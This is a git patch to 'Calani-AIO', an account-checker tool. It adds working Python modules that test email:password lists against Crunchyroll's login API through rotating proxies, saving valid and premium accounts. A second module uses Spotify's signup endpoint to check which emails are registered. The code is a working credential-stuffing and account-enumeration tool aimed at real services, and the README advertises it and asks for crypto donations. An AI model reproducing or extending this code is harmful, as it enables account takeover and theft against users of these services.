From 28cb2c28a15c49a6a3cefcdb8eef2d4b297bf1a7 Mon Sep 17 00:00:00 2001 From: Mickey Date: Sat, 6 Nov 2021 21:11:24 -0400 Subject: [PATCH] v0.1.6-alpha --- README.md | 18 ++++++++++--- main.py | 11 ++++++-- modules/checkers/crunchyroll.py | 46 +++++++++++++++++++++++++++++++++ modules/checkers/spotifyvm.py | 28 ++++++++++++++++++++ modules/updater.py | 2 +- version | 2 +- 6 files changed, 100 insertions(+), 7 deletions(-) create mode 100644 modules/checkers/crunchyroll.py create mode 100644 modules/checkers/spotifyvm.py diff --git a/README.md b/README.md index 473c296..0105dd8 100644 --- a/README.md +++ b/README.md @@ -4,6 +4,8 @@ An all in account checker made in python. Made with multichecking and more. This Download the exe version [here](https://github.com/Mickey758/Calani-AIO/releases) # Progress + +## Checklist - [x] Log Checking Mode - [x] Cui Checking Mode - [x] Auto Updater @@ -12,19 +14,29 @@ Download the exe version [here](https://github.com/Mickey758/Calani-AIO/releases - [x] Multichecking - [x] In-app Settings +## Modules +1. Minecraft +2. NordVPN +3. Bonkio +4. Disney+ +5. Duolingo +6. Gfuel +7. Crunchyroll +8. SpotifyVM + # Other Info Development of this this project will continue. I will be updating the binary and source regularly. Bug reports will be nice to have. If you find any post them [here](https://github.com/Mickey758/Calani-AIO/issues/new). Thanks for checking this out. -# Donate +## Donations If you would like to show some appreciation for this free project, consider donating some crypto <3 - BTC: bc1qt6gcll4hp7wwqaap7x3lwunf9srw4enuxxddzn - ETC: 0xd7F5C1AB4765Be15F738367905bF4E7Ea83eC9F7 -# Credits +## Credits Give credits if you are going to use the code This project was started and is being developed by: - Discord: MickeyYe#0003 - Youtube: Micx -- Github: Mickey758 +- Github: Mickey758 \ No newline at end of file diff --git a/main.py b/main.py index 5e01e9d..42f8eb0 100755 --- a/main.py +++ b/main.py @@ -38,7 +38,8 @@ class checker: from modules.checkers import disney from modules.checkers import duolingo from modules.checkers import gfuel - +from modules.checkers import crunchyroll +from modules.checkers import spotifyvm modules_list = { "nordvpn":nordvpn, @@ -46,7 +47,9 @@ class checker: "bonk.io":bonk_io, "disney+":disney, "duolingo":duolingo, - "gfuel":gfuel + "gfuel":gfuel, + "crunchyroll":crunchyroll, + "spotifyvm":spotifyvm } def home(): @@ -81,6 +84,8 @@ def modules(): [{cyan}4{reset}] Disney+ [{cyan}5{reset}] Duolingo [{cyan}6{reset}] Gfuel + [{cyan}7{reset}] Crunchyroll + [{cyan}8{reset}] SpotifyVM [{cyan}>{reset}] Selected Modules: {str([x.title() for x in selected_modules]).replace("'","").replace("', '",", ")} [{cyan}A{reset}] Add All Modules @@ -94,6 +99,8 @@ def modules(): elif option == "4": selected_modules.append("disney+") elif option == "5": selected_modules.append("duolingo") elif option == "6": selected_modules.append("gfuel") + elif option == "7": selected_modules.append("crunchyroll") + elif option == "8": selected_modules.append("spotifyvm") elif option == "s": if selected_modules != []: starter(selected_modules) diff --git a/modules/checkers/crunchyroll.py b/modules/checkers/crunchyroll.py new file mode 100644 index 0000000..d256c99 --- /dev/null +++ b/modules/checkers/crunchyroll.py @@ -0,0 +1,46 @@ +from __main__ import checker +from requests import post +from modules.functions import log,save,set_proxy + +def check(email:str,password:str): + retries = 0 + while retries != checker.retries: + proxy = set_proxy() + header = { + "Host": "api-manga.crunchyroll.com" , + "Content-Type": "application/x-www-form-urlencoded" , + "Accept": "*/*" , + "Connection": "keep-alive" , + "User-Agent": "Manga/4.2.0 (iPad; iOS 14.4; Scale/2.00)" , + "Accept-Language": "nl-NL;q=1, ar-NL;q=0.9" , + "Accept-Encoding": "gzip, deflate, br" , + } + data = f"access_token=dcIhv87VpKsqLCZ&account={email}&api_ver=1.0&device_id=123-456-789&device_type=com.crunchyroll.manga.ipad&duration=6000&format=json&password={password}" + try: + r = post("https://api-manga.crunchyroll.com/cr_login",headers=header,data=data,proxies=set_proxy(proxy),timeout=checker.timeout) + if "Incorrect login information" in r.text: + retries += 1 + elif "\"premium\":\"\"" in r.text: + if not checker.cui: + log("custom",email+":"+password,"Crunchyroll") + save("Crunchyroll","custom",checker.time,email+":"+password) + checker.custom += 1 + checker.cpm += 1 + return + elif "\"user_id\"" in r.text: + subscription = r.json()["data"]["user"]["access_type"] + if not checker.cui: + log("good",email+":"+password,"Crunchyroll") + save("Crunchyroll","good",checker.time,email+":"+password+f" | Subscription: {subscription}") + checker.good += 1 + checker.cpm += 1 + return + else: + raise + except: + checker.errors += 1 + if not checker.cui: + log("bad",email+":"+password,"Crunchyroll") + checker.bad += 1 + checker.cpm += 1 + return \ No newline at end of file diff --git a/modules/checkers/spotifyvm.py b/modules/checkers/spotifyvm.py new file mode 100644 index 0000000..849383a --- /dev/null +++ b/modules/checkers/spotifyvm.py @@ -0,0 +1,28 @@ +from __main__ import checker +from requests import get +from modules.functions import log,save,set_proxy + +def check(email:str,password:str): + retries = 0 + while retries != checker.retries: + proxy = set_proxy() + try: + r = get(f"https://spclient.wg.spotify.com/signup/public/v1/account?validate=1&email={email}",proxies=set_proxy(proxy),timeout=checker.timeout).text + if "That email is already registered to an account." in r: + if not checker.cui: + log("good",email+":"+password,"SpotifyVM") + save("SpotifyVM","good",checker.time,email+":"+password) + checker.good += 1 + checker.cpm += 1 + return + elif "Enter your email to continue." in r or "status\":1" in r: + retries += 1 + else: + raise + except: + checker.errors += 1 + if not checker.cui: + log("bad",email+":"+password,"SpotifyVM") + checker.bad += 1 + checker.cpm += 1 + return \ No newline at end of file diff --git a/modules/updater.py b/modules/updater.py index c81abba..3de5643 100644 --- a/modules/updater.py +++ b/modules/updater.py @@ -12,7 +12,7 @@ def check(): print(f" [{cyan}>{reset}] Checking for updates") try: v = get("https://raw.githubusercontent.com/Mickey758/Calani-AIO/master/version").text.rstrip() - if v != "0.1.5.1-alpha": + if v != "0.1.6-alpha": return True else: return False diff --git a/version b/version index 7a8a1d4..ff97ce9 100644 --- a/version +++ b/version @@ -1 +1 @@ -0.1.5.1-alpha +0.1.6-alpha